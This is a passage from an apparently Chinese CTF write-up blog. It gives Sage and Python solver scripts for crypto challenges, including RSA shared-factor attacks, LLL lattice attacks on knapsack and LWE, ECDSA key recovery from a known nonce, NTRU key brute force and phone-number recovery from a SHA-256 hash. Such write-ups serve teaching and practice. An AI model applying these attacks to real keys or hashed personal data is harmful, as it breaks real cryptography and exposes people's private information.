25947339118736016261419550658264175914664266822085997909314096786508816404704696671837899420298768803641977765786592354116676036035881712512184992851487828263900367476619650087372125353190561974783134059421570649293920248116730478378196277387377082481961542018611824082110164117796622604412648512092528479878502094797494405077897059911764470830302447618882229233093021156725194893124743848364119720591518073753197359351271987724752861168913839307431377592888760273762302003490303315903644695784992125784390012046834505490167165377346036077504298195544062111718133371983287540723388743607671934081891907851056034062109# Q = 26068172028162605137516470004551766376185367701690988148920400408760716114172673253571631718337447931195718779018987169967053546674529251665443499183399035216407895285607965767100708187327533611193709308966698251023076404422362272378862918994525181107002728889256377161661579892599243396304207048944032235378667269998644227976609632271355152717352269223310163307304914315780234040829575689991453848537587516055955657960061856059046256125836544109066275645648666876772298883460637600522819402448386193499472702636751025558486665290530268273787746964353937663176851849214999005525738643454160169651485201028944583316101# matA = [[1,P],[0,Q]]# L=Matrix(ZZ,matA)# tmp=vector(ZZ,L.LLL()[0])# print(tmp) EasyRsa每个n共有一个公因子,分解各个n,获取私钥d以后倒着解密12次 1234567891011121314151617181920from Crypto.Util.number import *from gmpy2 import *f = open('output.txt','r')n = []for i in range(12): n.append(int(f.readline()))c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727q = 7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897e = 65537n.reverse()print(len(n))for i in n: p = i//q phi = (p-1)*(q-1) d = invert(e,phi) c = pow(c,d,i)print(long_to_bytes(c)) Solomen’s puzzle 1首先测试一下源码的函数:确定纠错码的生成函数 x^4*(m_3x^3+m_2x^2+m_1x+m_0)+R(x)=g(x)*H(x)题目给了对明文生成的四位纠错码由$R(x)$的系数决定,所以题目给的混淆过程只会影响明文部分而非纠错码: 1234567for i in range(0, 256, 8): index1 = randrange(4, 8) value1 = randrange(0, 256) index2 = randrange(4, 8) value2 = randrange(0, 256) code[i + index1] = value1 code[i + index2] = value2 我们在上述方程中取x为$1,\\alpha,\\alpha^2,\\alpha^3$,这样可以保证$g(x)$为0,则得到四个关于m的方程,于是我们利用纠错码解矩阵方程即可,即代码中的A*X = B,解X 123456789101112131415161718192021222324252627from Crypto.Util.number import *e = 10632528934906371807995216845027219767890923967559690651733628659750564299493611010425615580946665632019547006685100876646048602773295571936276450835367591n=94257413713770111563970534929325680923943690882102478219183863722026590313165304301118258536360712467357451726680293716779730218553691126214750969333228034756948476572806064756873382054384808713137658321644158757777088916851366208046581218865015163572359836440643828462291397248680038931998325006839692797347m = 257F = Zmod(m)ap = F(223)A=Matrix(Zmod(257),[[-1,-1,-1,-1], [-ap^7,-ap^6,-ap^5,-ap^4], [-ap^14,-ap^12,-ap^10,-ap^8], [-ap^21,-ap^18,-ap^15,-ap^12]])B=Matrix(Zmod(257),[[1,1,1,1], [ap^3,ap^2,ap,1], [ap^6,ap^4,ap^2,1], [ap^9,ap^6,ap^3,1]])c=b'\\xb9$5.>\\xff\\xe3S\\xc91\\xb2\\xeb\\x1byR(\\x12{\\xc4\\xbf\\xa4wo|\\xc5-;\\xc9\\xc9S[\\xaeX\\xad\\xf0\\xef@\\x1c\\x87]\\x9a\\xb9:\\x8cu\\xa5\\xe3EA<"\\xfd\\x9a\\xbfqB\\x94\\xc3R\\x95\\xd5\\xbd\\xd0\\x10u\\x10\\xe3\\xa5"S\\xed\\xd0\\xf8\\x02\\xbf\\x124A~1]\\xceP\\xdf\\xf2Cr1\\x93\\xacw\\x03\\tQe\\xcc2b\\xbf\\x0f\\x92\\xad\\x19\\x00\\xab|\\xf3\\xc9\\x9b&I%\\xf5\\x9b#\\xf7\\xa2\\xcb\\xb1\\x0c\\xee\\xb56\\xd5\\xd2\\xd5[?^\\x9d\\x8b\\x93\\xbe\\x832\\xee\\xa9\\xa5\\x83$\\xe9\\xe5\\x95\\x01\\xd6\\x9f\\xad\\x1f\\x90\\xc3]aL\\x10\\x07{#4i^\\xae\\xdf|\\x9f\\x94\\xf4\\xaf\\x06R\\x86j&\\xeb\\x0b\\x06\\xcf\\xb2\\x8e\\xb4\\xb9s\\x97[\\xf1ip\\x06\\xf8\\xfdFs\\xf1`\\xc6\\x82\\xd8\\xce\\xf6\\x95{\\xe3\\x8cQ\\xed\\xef\\xe9\\xb9\\'\\x19\\xdf^\\xc8\\x81\\xde\\x1fQ\\x1e\\x86\\xda\\xf8\\xfd4M0#\\xef\\x8a\\xe9\\xe5\\xfc\\xe2\\xe3\\xe6\\xd0e\\xce\\xe1\\x0b\\x9eM\\x07\\xc2Y\\xf8B\\xe1\\xde\\xfaP\\xe9\\x9d\\xde\\xc3\\xe3C\\xa5'cip=b''for i in range(0,len(c),8): tmp=c[i:i+8] v=tmp[:4][::-1] v=vector(Zmod(257),list(v)) cip+=bytes(A^(-1)*B*v)[::-1] print(long_to_bytes(inverse(e,n)*bytes_to_long(cip)%n)) linearAlgebra主要考点是用LLL算法解决背包加密类型的问题。1.分析corrupt函数 1234567def corrupt(Mt, s, n): Mt_ = matrix(ZZ, Mt) for i in range(n): r_ = random.randint(0, n - 1) c_ = random.randint(0, n - 1) Mt_[r_, c_] = random.randint(0, 2 ^ s) return Mt_ 对32x32的矩阵中的随机32个元素进行替换 2.分析已知信息和加密过程 12345678910m = pad(flag[7:-1], n)M = bytes2Matrix(m, n)A = randMatrix(asize, n)C = A * MAc = corrupt(A, asize, n)print('C:')print(C)print('Ac:')print(Ac) 首先将flag填充为nxn的长度,然后将m转为矩阵表示M,生成一个随机的系数矩阵A,C=A*M;最后对A随机替换得到AC。 3.格基规约 a.由概率论可知,corrupt随机更改的32个数据分别分布在32行的概率是非常小的,几乎可以断定,有某些行的数据未改。b.利用未改的该行(a,b,c)乘上flag矩阵的各列(m1,m2,m3),得到的结果可以用于构造格子,记为$y=am_1+bm_2+cm_3$。c.思路如下,把n阶拓展为n+1阶,比如下方矩阵为3阶,拓展为4阶,最右列为(a,b,c,y),原矩阵的对角线全为1,横向量为格基。 L=\\left[\\begin{matrix}1&0&0&a\\\\0&1&0&b\\\\0&0&1&c\\\\0&0&0&y\\end{matrix}\\right]容易发现:$m_1(1,0,0,a)+m_2(0,1,0,b)+m_3(0,0,1,c)-m_4(0,0,0,y)=(m_1,m_2,m_3,0)$,恢复了明文的同时使得向量最后一维为0。通过这个特征可以固定AC的第一列,C的不同行来进行格基规约,当输出最短向量且最后一维为0的时候可以判断改行未改变。固定该行和其他列构造格子再恢复flag的其他部分即可。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465import ref=open('output','r')def s2row(s): return list(map(int, re.split(r'\\s+', s[1:-1].strip()))) #\\s+ 意思是至少有一个空白字符存在f.readline()CS=[]for _ in range(32): s = f.readline().strip() row = s2row(s) CS.append(row)f.readline()ASC=[]for _ in range(32): s = f.readline().strip() row = s2row(s) ASC.append(row)import math'''for i in range(32): pubkey=ASC[i] C=CS[i][0] #固定M第一列 L = matrix.zero(len(pubkey) + 1) for row, x in enumerate(pubkey): L[row, row] = 1 L[row, -1] = x L[-1, -1] = -C M = L.LLL() ff=False for m in M: if int(m[-1])==0: ff=True print(m) if not ff: print('无解')'''flag=[]for i in range(32): pubkey = ASC[1] C = CS[1][i] L = matrix.zero(len(pubkey) + 1) for row, x in enumerate(pubkey): L[row, row] = 1 L[row, -1] = x L[-1, -1] = -C M = L.LLL() ff = False for m in M: if int(m[-1]) == 0: ff = True flag.append(m[:-1]) break if not ff: print('无解')print(flag)flag=[98, 53, 57, 51, 50, 99, 50, 99, 45, 101, 50, 49, 48, 45, 52, 99, 51, 57, 45, 57, 102, 98, 53, 45, 97, 55, 102, 51, 53, 101, 56, 54, 49, 100, 51, 50]print(bytes(flag))","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"羊城杯","slug":"赛事/羊城杯","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E7%BE%8A%E5%9F%8E%E6%9D%AF/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"网鼎杯2022","slug":"网鼎杯青龙组2022","date":"2022-08-26T13:54:51.000Z","updated":"2022-09-05T01:08:28.000Z","comments":true,"path":"2022/08/26/网鼎杯青龙组2022/","link":"","permalink":"http://example.com/2022/08/26/%E7%BD%91%E9%BC%8E%E6%9D%AF%E9%9D%92%E9%BE%99%E7%BB%842022/","excerpt":"青龙组签到答对八道知识问答题,得到flag:","text":"青龙组签到答对八道知识问答题,得到flag: crypto091根据题目意思电话号码前几位为1709,因为通过百度可以查找到170号段首批放号的联通号是1709开头;又根据hash值长度64位hex猜测是sha256,于是带上地区码86爆破哈希,得到正确的电话号码: 123456789101112131415161718from hashlib import *table = '0123456789'm = '861709'c = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'print(len(c))for i1 in table: for i2 in table: for i3 in table: for i4 in table: for i5 in table: for i6 in table: for i7 in table: f = m+i1+i2+i3+i4+i5+i6+i7 if sha256(f.encode()).hexdigest() == c: print(f) break 带上flag格式提交即可。 补一个美观一点的exp: 123456789101112x = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'import hashlibn = b'861709's = list('0123456789'.strip())import itertoolsfor i in itertools.product(s,repeat = 7): d = ''.join(i).encode() g = n+d if hashlib.sha256(g).hexdigest() == x: print(g) break# b'8617091733716' crypto162$\\left[\\begin{matrix}an\\a{n-1}\\a{n-2}\\end{matrix}\\right]=\\left[\\begin{matrix}t_0&t_1&t_2\\1&0&0\\0&1&0\\end{matrix}\\right]*\\left[\\begin{matrix}a{n-1}\\a{n-2}\\a{n-3}\\end{matrix}\\right]$ sage矩阵快速幂运算即可: 1234567891011121314151617181920from Crypto.Util.number import *from hashlib import md5,sha256from Crypto.Cipher import AEScof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]s=0for i in range(len(cof_t)): A=matrix([cof_t[i],[1,0,0],[0,1,0]]) v=vector([3,2,1]) t=A^(200000-2)*v s+=list(t)[0] s=str(s)[-2000:-1000]key = long_to_bytes(int(md5(s.encode()).hexdigest(),16))check = sha256(key).hexdigest()verify = '2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5'assert(check == verify)aes = AES.new(key,AES.MODE_ECB)data = long_to_bytes(0x4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87)print (aes.decrypt(data)) crypto405选取了5个初始$key$:$k_0,k_1,k_2,k_3,k_4$,$grasshopper=grasshpper.k_0.k_1.k_2.k_3.k_4$,$key$是不断在累乘的,而$flag$的格式为flag{,可以通过这五个明文字符来求$key$,比赛时我们的思路是硬解方程组恢复密钥,赛后看到一个很有意思的思路,于是复现一下。首先列出开头五个字符的变换式子,用$var$赋值打印看看大致情况: 12345678910flag = b'flag{'var('k0 k1 k2 k3 k4')k = [k0, k1, k2, k3, k4]res = []for i in range(len(flag)): grasshopper = flag[i] for j in range(5): k[j] = grasshopper = grasshopper * k[j] res.append(grasshopper)print(res) 可以看到由于$key$累乘,其次数每一轮都在增大,而由于$flag$的字符也在累乘,其系数也在不断增大。这个思路的关键部分是把乘法看成加法,次幂看成乘法,那么该五组式子就可以看成线性方程组用矩阵处理,将该矩阵通过行列变换得到单位矩阵,那么就能求出$key$(行列变化的加法和乘法分别为乘法和次幂,减法为乘上逆元): \\left[\\begin{matrix}1&1&1&1&1\\\\5&4&3&2&1\\\\15&10&6&3&1\\\\35&20&10&4&1\\\\70&35&15&5&1\\end{matrix}\\right]求出$key$以后再恢复$flag$即可。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263# 预处理flag = b'flag{'var('k0 k1 k2 k3 k4')k = [k0, k1, k2, k3, k4]res = []for i in range(len(flag)): grasshopper = flag[i] for j in range(5): k[j] = grasshopper = grasshopper * k[j] res.append(grasshopper)print(res)import sympyfrom gmpy2 import invert as inversef=open('output.txt','r')l=[]for i in range(42): tmp=f.readline()[:-1][-4:] l.append(int(tmp,16))max_c = max(l)coefficient = [102,1192407267456,1918196473060530916599580974905403195260928,56112321905504104058889432264614118677688107359359075763851172322711550767834986156510191423865157053692191440896,53396244662367707127856864007524389027579357260572582679744127850279999404450619312604004485139827409110793046460181646479623909080635340073160838110289140978788817626824929446784411034165296270303004366240008622426141394072733814130556872463873302593536]p=[]a=2**15for i in range(100000): a=sympy.nextprime(a) p.append(a) if a>2**16: breakm=b'flag{'for z in range(len(p)): #print(z) try: q=p[z] if max_c>q: continue tmp = [] print('cal inverse...') for i in coefficient: tmp.append(inverse_mod(i,q)) A = matrix(GF(q),[[1,1,1,1,1],[5,4,3,2,1],[15,10,6,3,1],[35,20,10,4,1],[70,35,15,5,1]]) print(A.echelon_form()) b = vector(GF(q),tmp) print('cal X...') X = A.solve_right(b) #print(X) k = X m=[] #print(l) for i in range(len(l)): ss=k[0]*k[1]*k[2]*k[3]*k[4]%q mm=l[i]*inverse_mod(ss,q)%q m.append(mm) prod=m[i] for t in range(5): k[t] = prod = prod * k[t] % q print(bytes(m)) except: continueprint('over') 这只是一个demo,解矩阵方程的方法需要自己重写,和加、乘不同;这里主要是学习解题思路。 re694修改了upx壳的节区名 手动恢复后脱壳 用ida分析 非常简单的加密后check 逆向解密即可 123res = [0x4B,0x48,0x79,0x13,0x45,0x30,0x5C,0x49,0x5A,0x79,0x13,0x70,0x6D,0x78,0x13,0x6F,0x48,0x5D, 0x64,0x64]print(''.join(map(lambda x: chr(((x^0x50)-10)^0x66), res)))# why_m0dify_pUx_SheLL 白虎组simple_math12345678910111213141516171819202122232425import gmpy2import hashlibe=2022c1 = 85139434329272123519094184286276070319638471046264384499440682030525456122476228324462769126167628121006213531153927884870307999106015430909361792093581895091445829379547633304737916675926004298753674268141399550405934376072486086468186907326396270307581239055199288888816051281495009808259009684332333344687c2 = 104554808380721645840032269336579549039995977113982697194651690041676187039363703190743891658905715473980017457465221488358016284891528960913854895940235089108270134689312161783470000803482494370322574472422461483052403826282470850666418693908817591349159407595131136843764544166774390400827241213500917391144c3 = 94771625845449128812081345291218973301979152577131568497740476123729158619324753128517222692750900524689049078606978317742545997482763600884362992468406577524708622046033409713416026145377740182233674890063333534646927601262333672233695863286637817471270314093720827409474178917969326556939942622112511819330x = 78237329408351955465927092805995076909826011029371783256454322166600398149132623484679723362562600068961760410039241554232588011577854168402399895992331761353772415982560522912511879304977362225597552446397868843275129027248765252784503841114291392822052506837132093960290237335686354012448414804030938873765y = 100442166633632319633494450595418167608036668647704883492068692098914206322465717138894302011092841820156560129280901426898815274744523998613724326647935591857728931946261379997352809249780159136988674034759483947949779535134522005905257436546335376141008113285692888482442131971935583298243412131571769294029z = 104712661985900115750011628727270934552698948001634201257337487373976943443738367683435788889160488319624447315127992641805597631347763038111352925925686965948545739394656951753648392926627442105629724634607023721715249914976189181389720790879720452348480924301370569461741945968322303130995996793764440204452a=(x-2022)**e-c1b=(y-2022)**e-c2c=(z-2022)**e-c3m=gmpy2.gcd(a,b)# 注意这里不能肯定m1和m2比m小,所以需要加km并用bit数为512来进行判断是否为m1,m2m1=(x-2022)%mm2=(y-2022)%m+mprint(int(m).bit_length())print(int(m1).bit_length())print(int(m2).bit_length())flag = m + m1 + m2flag = hashlib.md5(str(flag).encode('utf-8')).hexdigest()print(flag) easywork垃圾题,,,滚 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758from Crypto.Util.number import *from gmpy2 import *import hashlibfrom pwn import *def decrypt_flag(sol,ct): #sol = sol % (10**10000) sol = str(sol) sol_md5 = hashlib.md5(sol.encode()).hexdigest() return xor(sol_md5.encode(),ct)def all_fun(i,x0,n,a,b,c): #return (x0*b**(i-1) - n//(b-1) - a//((b//c)+1)*c**i)%(10**10000) return (x0*pow(b,i-1,pow(10,10000)) - (n//(b-1))%pow(10,10000)) - a//((b//c)-1)*pow(c,i,pow(10,10000))%pow(10,10000)ct = b'UUV\\x04H\\x01T\\x01P\\x03\\t\\x04\\t\\x1fW\\x00T\\x02LRSPT\\x1d\\x02\\x02^\\x01N[\\\\R\\x02\\tSV\\x07\\x06P\\x01QK'c = 114514e = int(2e8)s0 = 150532854791355748039117763516755705063s1 =335246949167877025932432065299887980427s2 = 186623163520020374273300614035532913241s3 = 215621842477244010690624570814660992556s4 = 220694532805562822940506614120520015819s5 = 17868778653481346517880312348382129728s6 = 160572327041397126918110376968541265339t0 = s1 - s0t1 = s2 - s1t2 = s3 - s2t3 = s4 - s3t4 = s5 - s4kn1 = t2*t0 - t1*t1kn2 = t3*t1 - t2*t2kn3 = t4*t2 - t3*t3n = gcd(kn2,kn1)print(int(n).bit_length())# print(gcd(n,kn3))a = (s2 - s1)*invert((s1 - s0),n)%nb = (s2 - a*s1)%nprint(gcd(n,b-1))a0 = 1x0 = a0 + n//(b-1) + a//((b//c)-1)sol = all_fun(e,x0,n,a,b,c)print(sol)for i in range(-2**19,2**19): flag = decrypt_flag(sol+i,ct) if b'flag' in flag: print(flag)print(decrypt_flag(sol,ct)) 朱雀组misc666题目把base32的表改了,数字2-7改成了数字1-6,大写字母改成了小写;于是把小写换为大写,数字加1再解密即可:flag{NiuDaoxiaoshi666} crypto967123456789101112131415161718192021222324# ph算法求解离散对数,找两个乘起来比x大的因子计算再crt即可import gmpy2from Crypto.Util.number import *p1= 28142457071p2= 395710839697m = 696376465415968446607383675953857997c = 75351884040606337127662457946455960228423443937677603718170904462378938882502061014476822055783421908392386804380503123596242003758891619926133807099465797120624009076182390781918339985157326114840926784410018674639537246981505937318380179042568501449024366208980139650052067021073343322300422190243015076307p = 135413548968824157679549005083702144352234347621794899960854103942091470496598900341162814164511690126111049767046340801124977369460415208157716471020260549912068072662740722359869775486486528791641600354017790255320219623493658736576842207668208174964413000049133934516641398518703502709055912644416582457721cc1 = 209941170134628207830310059622280988835086910150451946264595015050300510031560522999562095124692878755896950865676914790595999182721583547184333760954091880805688518459046880395477235753285839380764579025127254060855545q = 6809372619970287379746941806942051353536181082328454067824596651780784704823185066486367854653297514943018290212240504418345108411269306758069486928594027g = 12575636661436726898107254102531343862656456137827822292892883099464907172061178954026138165159168595086335202285503403441736394399853074532771428483593753k = 4521228602593215445063533369342315270631623025219518143209270060218625289087470505221974748605346084266802332207199304586313352026660695691783656769488472m1=pow(m,(p-1)//p1,p)c1=pow(c,(p-1)//p1,p)m2=pow(m,(p-1)//p2,p)c2=pow(c,(p-1)//p2,p)d1=discrete_log(c1,m1)d2=discrete_log(c2,m2)d=crt([d1,d2],[p1,p2])y=pow(g,d,q)s=int(pow(y,k,q))flag=cc1//sprint(long_to_bytes(flag)) 玄武组crypto557考察二次剩余以及概率统计,类似于国外ictf的一道题。整个题目的关键点在if分支: 1234567for j in range(size(tmp)):#比特数 r = random.randint(2, p-1) if tmp%2: enc += [pow(x, r, p)] else: enc += [r] tmp //= 2 如果x对于p是二次剩余的话,这里的pow(x,r,p)也一定为二次剩余,此时flag为1的位对应的enc中元素必定为p的二次剩余;与之相对的,enc中元素不是p的二次剩余的时候,对应的flag二进制位必为0。 题目给了18组数据,一定会有某些组的x为p的二次剩余,判断方法为对每一组数字进行二次剩余占比的统计,若占比大于60%,基本可以判断该组的x为p的二次剩余。 利用这些筛选出的组,我们可以通过实现上述加粗理论确定0位。由于flag某位为0的时候,r也可能为二次剩余,因此我们需要统计18组的二次非剩余的位置,以免漏掉一些0位。我的方法是把每组二次非剩余对应的位赋值为1,然后把各个组进行或运算操作,最后各位取一下反即可。 完整的exp:(数据很大没放) 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253p_l = []enc_l = []for i in range(1,19): tmp = f'p{i}' tmp1 = f'enc{i}' p_l.append(eval(tmp)) enc_l.append(eval(tmp1))x_ = []for i in range(0,18): num = 0 p = p_l[i] enc = enc_l[i] for j in enc: if kronecker(j,p) == 1: num+=1 # 根据概率计算,以下这些组x应该是p的二次剩余 if num/len(enc) > 0.7: print(i) x_.append(i)for n in x_: l = [] for i in enc_l[n]: if kronecker(i,p_l[n]) == -1: #print(enc_l[n].index(i),end = ' ') l.append(1) else : l.append(0) l.reverse() if x_.index(n) == 0: tmp2 = l else: #print(tmp2) tmp2 = [x|y for x,y in zip(tmp2,l)]tmp3 = []for i in tmp2: if i == 0: tmp3.append(str(1)) else: tmp3.append(str(0)) m = int(''.join(tmp3),2)try: print(bytes.fromhex(hex(m)[2:]))except: pass","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"网鼎杯2022","slug":"赛事/网鼎杯2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E7%BD%91%E9%BC%8E%E6%9D%AF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"re","slug":"re","permalink":"http://example.com/tags/re/"}]},{"title":"DASCTF七月赋能赛2022","slug":"DASCTF七月赋能赛2022","date":"2022-07-25T00:47:52.000Z","updated":"2022-07-27T03:31:12.000Z","comments":true,"path":"2022/07/25/DASCTF七月赋能赛2022/","link":"","permalink":"http://example.com/2022/07/25/DASCTF%E4%B8%83%E6%9C%88%E8%B5%8B%E8%83%BD%E8%B5%9B2022/","excerpt":"​ AK了密码,写一写wp。","text":"​ AK了密码,写一写wp。 babysign简单ecdsa,给了公钥和随机参数nounce求私钥,理一下加密公式即可: 12345678910111213141516from gmpy2 import *import hashlibimport ecdsafrom Crypto.Util.number import *gen = ecdsa.NIST256p.generatororder = gen.order()message = b'welcome to ecdsa'hash_message = int(hashlib.sha256(message).hexdigest(), 16)r,s=0x7b35712a50d463ac5acf7af1675b4b63ba0da23b6452023afddd58d4891ef6e5,0xa452fc44cc36fa6964d1b4f47392ff0a91350cfd58f11a4645c084d56e387e5cnounce = 57872441580840888721108499129165088876046881204464784483281653404168342111855q = orderf = (s * nounce -hash_message)* invert(r,q) % qprint(long_to_bytes(f)) easyNTRUNTRU学习资料:https://4xwi11.github.io/posts/a2b6ecd3/ 注意他这里加密的时候少乘了个phttps://blog.csdn.net/m0_46204256/article/details/122376414 这题非常的水啊,NTRU的N取太小了,仅仅是10,那么AES的私钥可以直接通过爆破获取。 12345678910111213141516171819202122232425262728293031323334353637from Crypto.Hash import SHA3_256from Crypto.Cipher import AESimport sysfrom Crypto.Util.Padding import unpadN = 10p = 3q = 512d = 3R.<x> = ZZ[]c = b'\\xb9W\\x8c\\x8b\\x0cG\\xde\\x7fl\\xf7\\x03\\xbb9m\\x0c\\xc4L\\xfe\\xe9Q\\xad\\xfd\\xda!\\x1a\\xea@}U\\x9ay4\\x8a\\xe3y\\xdf\\xd5BV\\xa7\\x06\\xf9\\x08\\x96="f\\xc1\\x1b\\xd7\\xdb\\xc1j\\x82F\\x0b\\x16\\x06\\xbcJMB\\xc8\\x80'table = [-1, 0, 1]for i1 in table: for i2 in table: for i3 in table: for i4 in table: for i5 in table: for i6 in table: for i7 in table: for i8 in table: for i9 in table: for i10 in table: result = [i1, i2, i3, i4, i5, i6, i7, i8, i9, i10] m = R(result) sha3 = SHA3_256.new() key = sha3.update(bytes(str(m).encode('utf-8'))).digest() dypher = AES.new(key, AES.MODE_ECB) try: flag = unpad(dypher.decrypt(c), 32) if flag.startswith(b'flag') or flag.startswith(b'DASCTF'): print(flag) sys.exit(0) except: pass LWE?构造矩阵为: \\begin{pmatrix} A\\\\B\\\\C\\\\b \\end{pmatrix}这里A、B、C都为矩阵,b为题目输出的向量;显然这样构造的矩阵行向量构成格;由于b=xA+yB+zC+e,所以e=b-(xA+yB+zC),e是行向量组成的格上的格点(向量),由于e系数很小,所以用LLL规约的最短向量应该就是e。求出e以后再解下矩阵方程即可: 1234567891011121314151617181920212223242526272829303132333435363738394041424344import ref=open('out','r')def s2row(s): return list(map(int, re.split(r'\\s+', s[1:-1].strip()))) #\\s+ 意思是至少有一个空白字符存在f.readline()matA=[]for _ in range(66): s = f.readline().strip() row = s2row(s) matA.append(row)f.readline()for _ in range(66): s = f.readline().strip() row = s2row(s) matA.append(row)f.readline()for _ in range(66): s = f.readline().strip() row = s2row(s) matA.append(row)row= [-19786291, -713104590, 79700973, 23261288, 203038164, 430352288, 147848301, 633183638, 188651439, 243206160, -654830271, 335642059, -100511588, 180023362, 130607831, 227597861, 188424473, 175518170, -246987997, 180879649, 421934976, -227575274, -628937118, 5466646, -254939474, -438417079, 150434624, 327054986, 163561829, 816959939, -265298657, 82651050, 176899880, 174020455, -419656325, -101606182, 300413909, 237169571, -589213744, 121803611, -38080334, -255712509, -133782964, 106220001, 195767251, -397096116, -583305587, -182462561, -271478737, -32014717, 114385188, 437506115, -1165732, 179349265, -77761751, -233976783, 410153356, 476453640, 91892631, -242168750, 506769243, -384438362, 131852532, 586202810, 376719791, 578215353, 874304742, 163584566, 434260863, 98013671, 213627784, 59622886, -84912852, 156744856, 169652328, 178143615, 400046730, 408163110, -357990863, -269552089, -199410809, 187503858, -853206157, 134901027, 313984185, -162544217, -69722073, 43817388, -47389463, 210346729, -46516961, 72002967, 327714191, 45052266, 1010509210, 110937225, 448179404, 341448936, 446550865, 221914340, -804918424, -12007071, 151215468, 440279795, -73408566, -112121988, 40294376, 283179449, -193812410, -30061804, 20326854, 65412625, -260020045, -570090340, 1546454, 548030557, 618148316, 290333796, 665474379, 301709165, -104726821, -503111899, 480689642, -331192606, -518345784, -314602459, 25354403, 410995568, 179675848, -207010027, 400838662, 125916880, 501112567, 578261227, 24802586, 493171331, 383306766, -390093502, -389822626, -303615722, 20813851, -399678371, -566907567, -432647113, -280465568, 1002042393, -510901339, 316603766, -139701243, 211217523, 108545545, -12948109, -569199543, 37065919, -150542603, 417851006, -470173530, -628557669, -128339015, -427978763, 381402990, 205835334, -30976552, -357466556, -104985580, -115366372, 296031071, -8036087, 79340491, 650365147, 295521125, 885900267, 133049758, 217970062, 237420894, 358760095, -2684469, 475711698, 316770575, -25024622, -193442003, 200260606, 89183826, 567491985, 726371428, 222116554, 87397506, -29529094, 125968479, -50793004, 218035181, -210376687, 1025673749, -262390458, 467412984, -71097225, 259125517, -337232810, 143359550, 27115363]matA.append(row)L=Matrix(ZZ,matA)e=vector(ZZ,L.LLL()[0])print(e)b=vector(ZZ,row)s=b-em=L.solve_left(s)print(bytes(list(m)))# 首先构造矩阵为:# A# B# C# b# LLL一下得到误差e# 解一下矩阵方程就得到xyz:# s=b-e# m=L.solve_left(s) NTRURSA多项式环上的RSA,第一步先把模多项式分解,然后类似于普通RSA把hint解出来: 123456789101112131415R.<x> = PolynomialRing(GF(64621))n = R('25081*x^175 + 8744*x^174 + 9823*x^173 + 9037*x^172 + 6343*x^171 + 42205*x^170 + 28573*x^169 + 55714*x^168 + 17287*x^167 + 11229*x^166 + 42630*x^165 + 64363*x^164 + 50759*x^163 + 3368*x^162 + 20900*x^161 + 55947*x^160 + 7082*x^159 + 23171*x^158 + 48510*x^157 + 20013*x^156 + 16798*x^155 + 60438*x^154 + 58779*x^153 + 9289*x^152 + 10623*x^151 + 1085*x^150 + 23473*x^149 + 13795*x^148 + 2071*x^147 + 31515*x^146 + 42832*x^145 + 38152*x^144 + 37559*x^143 + 47653*x^142 + 37371*x^141 + 39128*x^140 + 48750*x^139 + 16638*x^138 + 60320*x^137 + 